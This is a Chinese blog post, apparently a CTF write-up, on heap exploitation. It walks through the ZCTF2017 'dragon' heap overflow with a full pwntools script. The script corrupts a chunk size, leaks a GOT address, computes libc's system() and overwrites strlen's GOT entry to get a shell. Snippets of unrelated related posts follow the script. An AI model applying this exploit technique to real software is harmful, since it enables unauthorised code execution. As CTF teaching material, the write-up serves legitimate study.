堆利用小结

堆利用小结

关于堆的利用原理比较复杂,今天就只分析一个最简单的堆溢出,后面关于UAF,double free,unlink等的一些相关东西,我抽个集中的时间再总结写出来。这里就用一道ZCTF2017 dragon的一道堆溢出的题来分析:

这是一个64位的程序,开启了cannary 和PIE。

接下来我们找洞:

可以看到,在add函数的strdup函数处创建堆的时候出现了漏洞。导致在edit写入的数据的时候,可以写入的数据量大于strdup创建的堆,导致堆溢出,然后就可以覆写下一个堆的内容,进而leak地址和修改got。原理如下图:

脚本如下:

 1 from pwn import *
 2
 3 debug = 1
 4 #r = remote(‘58.213.63.30‘, 11501)
 5 r = process("./dragon")
 6 context.log_level = ‘debug‘
 7
 8 def add(size, name, content):
 9     r.recvuntil(‘>> ‘)
10     r.sendline(‘1‘)
11     r.recvuntil(‘:‘)
12     r.sendline(str(size))
13     r.recvuntil(‘:‘)
14     r.sendline(name)
15     r.recvuntil(‘:‘)
16     r.sendline(content)
17
18 def edit(id, content):
19     r.recvuntil(‘>> ‘)
20     r.sendline(‘2‘)
21     r.recvuntil(‘:‘)
22     r.sendline(str(id))
23     r.recvuntil(‘:‘)
24     r.write(content)
25
26 def show(id):
27     r.recvuntil(‘>> ‘)
28     r.sendline(‘4‘)
29     r.recvuntil(‘:‘)
30     r.sendline(str(id))
31
32 def delete(id):
33     r.recvuntil(‘>> ‘)
34     r.sendline(‘3‘)
35     r.recvuntil(‘:‘)
36     r.sendline(str(id))
37
38 add(0x20, ‘AAAA‘, ‘AAAA‘)
39 add(0x20, ‘BBBB‘, ‘B‘*0x18)
40 add(0x20, ‘CCCC‘, ‘C‘*0x18)
41
42 edit(0, ‘A‘*0x18+p64(0xd1))
43
44 delete(1)
45
46 add(0x20, ‘DDDD‘, ‘D‘*0x18)
47
48 strlen_got = 0x602028
49
50 add(0x10, ‘EEEE‘, p64(strlen_got)+‘E‘*0x10)
51 edit(3, p64(strlen_got))
52
53 show(2)
54 r.recvuntil(‘content: ‘)
55 strlen_addr = u64(r.readline()[:-1].ljust(8, ‘\x00‘))
56 print "[*] strlen addr:{0}".format(hex(strlen_addr))
57 #libc = ELF("./libc-2.19.so")
58 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
59 libc_base = strlen_addr - libc.symbols[‘strlen‘]
60 system_addr = libc_base + libc.symbols[‘system‘]
61 #gdb.attach(r,open(‘bb‘))
62 print"system_addr",hex(system_addr)
63 edit(2, p64(system_addr))
64
65 edit(0, ‘/bin/sh\x00‘)
66 r.interactive()

时间: 2024-07-30 12:16:08

堆利用小结的相关文章

格式化字符串利用小结

格式化字符串利用小结 格式化字符串漏洞基本原理: Printf()函数的一般形式为printf("format",输出表列),其第一个参数就是格式化字符串,用来告诉程序以什么格式进行输出.正常情况下,这样使用: char str[100]; scanf("%s",str); printf("%s",str); 但也有人这么用: char str[100] scanf("%s",str); printf(str) 也许代码编写者

Linux下fastbin利用小结——fd覆盖与任意地址free

linux下的fastbin是ctf中pwn题的重点出题点.去年(2015)中,XCTF就有两站是使用fastbin的利用作为pwn400的压轴题来出现,这也是我刚开始接触fastbin的利用,参考了k0sh1师傅写在freebuf上的一篇文章.我写了几个demo来说明问题. 目录 1.关于fastbin 2.覆盖fd指针实现利用 3.任意地址free实现利用(House of Spirit) 1.关于fastbin 我们一般熟悉的堆都是双链表的chunk,但是对于大小为(16 Bytes~ 8

1、struts2漏洞利用小结

从今天开始,打算将自己的挖洞历程一点一滴给记录下来,从17年开始接触web渗透,学完了cracer17年的教程,看过网易公开课,目前在安全牛课堂学习kali渗透测试.心里其实很感慨,学了很多,感觉会得太少,到现在挖洞经验仍然为0 (想哭)T_T! 偶尔会很迷茫,自己到底学了了什么呢,学而不会有何用!!! 这是一个新的开始,以练代学,由浅入深,特以此系列献给和我曾经一样犯过迷茫的孩子. 闲话不说,进入正题吧,这些文章我会定期完善和补充,希望大家伙可以多多交流. 第一站,让我们来研究一下struts

从源头看堆溢出——malloc与free

有关于linux下堆利用的文章有很多,之前我也曾总结过,但是并没有深入的追究.这次从源头入手来分析为什么会被利用,怎么被利用.所谓的源头就是堆管理机制,更详细的说就是libc.so中的mallc()与free()函数了. 目录 0x0 堆存在的意义 0x1 找到堆管理函数 0x0 堆存在的意义 首先说下堆机制,说白了堆只是一种用户态的内存管理机制而已.设立堆管理机制是为了提高内存的使用的效率,如果没有堆可不可以?当然也是可以的,只是每次需要分配内存时都需要从新用mmap(或类似功能的内核操作)在

android Menory 小结

不建议在Activity中使用static 变量,考虑使用Application.当然,static final例外 但Application也不要cache某个Activity使用的View,如果cache也一定要在这个Activity Destroy()时手动清空Application中对view的cache. 线程造成内存泄露. public class MyActivity extends Activity { @Override public void onCreate(Bundle 

【Algorithm】堆排,C++实现

对一个数组中的元素按照顺序构建二叉树,就形成了一个(二叉)堆.(二叉树是虚拟的,并不是真的建立二叉树) 表示堆的数组A有两个重要属性:A.heapSize,表示堆里面有多少元素,数组里有多少元素在堆里  A.length,表示数组长度 例如数组A= {1,2,3,4,5,6,7,8,9,10},此时A.heapSize = A.length.除了最后一层之外,这个二叉树是完满的 最大堆:父节点的值总是不小于子节点的值,反应在数组中就是A[i]>=A[2i+1] && A[i]>

打印二叉堆(Java实现)

打印二叉堆:利用层级关系 我这里是先将堆排序,然后在sort里执行了打印堆的方法printAsTree() public class MaxHeap<T extends Comparable<? super T>> { private T[] data; private int size; private int capacity; public MaxHeap(int capacity) { this.capacity = capacity; this.size = 0; thi

Bitmap 内存优化

Android在加载大背景图或者大量图片时,经常导致内存溢出(Out of Memory  Error),本文根据我处理这些问题的经历及其它开发者的经验,整理解决方案如下(部分代码及文字出处无法考证):  方案一.读取图片时注意方法的调用,适当压缩  尽量不要使用setImageBitmap或setImageResource或BitmapFactory.decodeResource来设置一张大图,因为这些函数在完成decode后,最终都是通过java层的createBitmap来完成的,需要消耗

Android加载图片导致内存溢出(Out of Memory异常)

Android在加载大背景图或者大量图片时,经常导致内存溢出(Out of Memory  Error),本文根据我处理这些问题的经历及其它开发者的经验,整理解决方案如下(部分代码及文字出处无法考证):  方案一.读取图片时注意方法的调用,适当压缩  尽量不要使用setImageBitmap或setImageResource或BitmapFactory.decodeResource来设置一张大图,因为这些函数在完成decode后,最终都是通过java层的createBitmap来完成的,需要消耗